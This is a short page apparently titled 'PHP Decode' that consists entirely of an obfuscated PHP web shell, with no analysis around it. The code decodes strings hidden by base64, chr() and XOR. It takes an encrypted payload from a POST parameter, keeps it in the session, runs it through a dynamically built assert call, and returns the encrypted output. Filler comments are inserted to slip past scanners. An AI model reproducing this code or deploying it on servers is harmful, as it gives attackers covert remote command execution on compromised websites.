PHP Decode

<?pHP 
@session_start(); 
@set_time_limit(Chr("48")); 
@error_reporting/*fuckgov60QbH90rJduQnkM*/(Chr("48")); 
function baiduLzCV76XSOu8U(/*fuckgovz*/$baidupjoqFCxCvhn,$baidu5){ 
    for($baiduHexoG=Chr("48");$baiduHexoG<strlen($baidupjoqFCxCvhn);$baiduHexoG++) { 
        $baiduag1RWoFwnOieE = $baidu5[$baiduHexoG+Chr("49")&15]; 
        $baidupjoqFCxCvhn[$baiduHexoG] = $baidupjoqFCxCvhn[$baiduHexoG]^$baiduag1RWoFwnOieE; 
    } 
    return $baidupjoqFCxCvhn; 
} 
$baiduOD4qnh = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101"); 
$base64_baiduLzCV76XSOu8U = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode"; 
$baidutyAfoh=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$baiduOD4qnh($baiduOD4qnh("Y2c9PQ==")); 
$baidu5HIkB='p'.$baiduOD4qnh($baiduOD4qnh("WVhsc2IyRms=")); 
$baidug0MAT='ba91dbd4'.$baiduOD4qnh("YjU4NWEyYzI="); 
$baiduES=("!"^"@").'ss'.Chr("101").'rs'; 
$baiduES++; 
if (isset($_POST/*fuckgovwFUT9qQrY*/[$baidutyAfoh])){ 
    $datbaiduES=baiduLzCV76XSOu8U/*fuckgovgubt*/($baiduOD4qnh($_POST[$baidutyAfoh]),$baidug0MAT); 
    if (/*fuckgovt0*/isset($_SESSION/*fuckgovxQhqkFBP*/[$baidu5HIkB])){ 
        $baiduvV3HRDeIKCmtAH=baiduLzCV76XSOu8U($_SESSION/*fuckgovKAjFX*/[$baidu5HIkB],$baidug0MAT); 
        if (/*fuckgovXQQogy*/strpos($baiduvV3HRDeIKCmtAH,$baiduOD4qnh/*fuckgovwf*/($baiduOD4qnh("WjJWMFFtRnphV056U1c1bWJ3PT0=")))===false){ 
            $baiduvV3HRDeIKCmtAH=baiduLzCV76XSOu8U/*fuckgovyNMXu*/($baiduvV3HRDeIKCmtAH,$baidug0MAT); 
        } 
                define("baidukmrd6Hj","//baiduoDvQghL2
".$baiduvV3HRDeIKCmtAH); 
                $baiduES(baidukmrd6Hj); 
        echo substr(/*fuckgovidCawULd8keitDj*/md5/*fuckgovVvI*/($baidutyAfoh.$baidug0MAT),Chr("48"),16); 
        echo $base64_baiduLzCV76XSOu8U(baiduLzCV76XSOu8U(@run($datbaiduES),$baidug0MAT)); 
        echo substr(/*fuckgoveRT9hYamHNkA*/md5/*fuckgovZ4C8hZvF*/($baidutyAfoh.$baidug0MAT),16); 
    }else{ 
        if (strpos/*fuckgovn*/($datbaiduES,$baiduOD4qnh($baiduOD4qnh("WjJWMFFtRnphV056U1c1bWJ3PT0=")))!==false){ 
            $_SESSION[$baidu5HIkB]=baiduLzCV76XSOu8U($datbaiduES,$baidug0MAT); 
        } 
    } 
} 
?>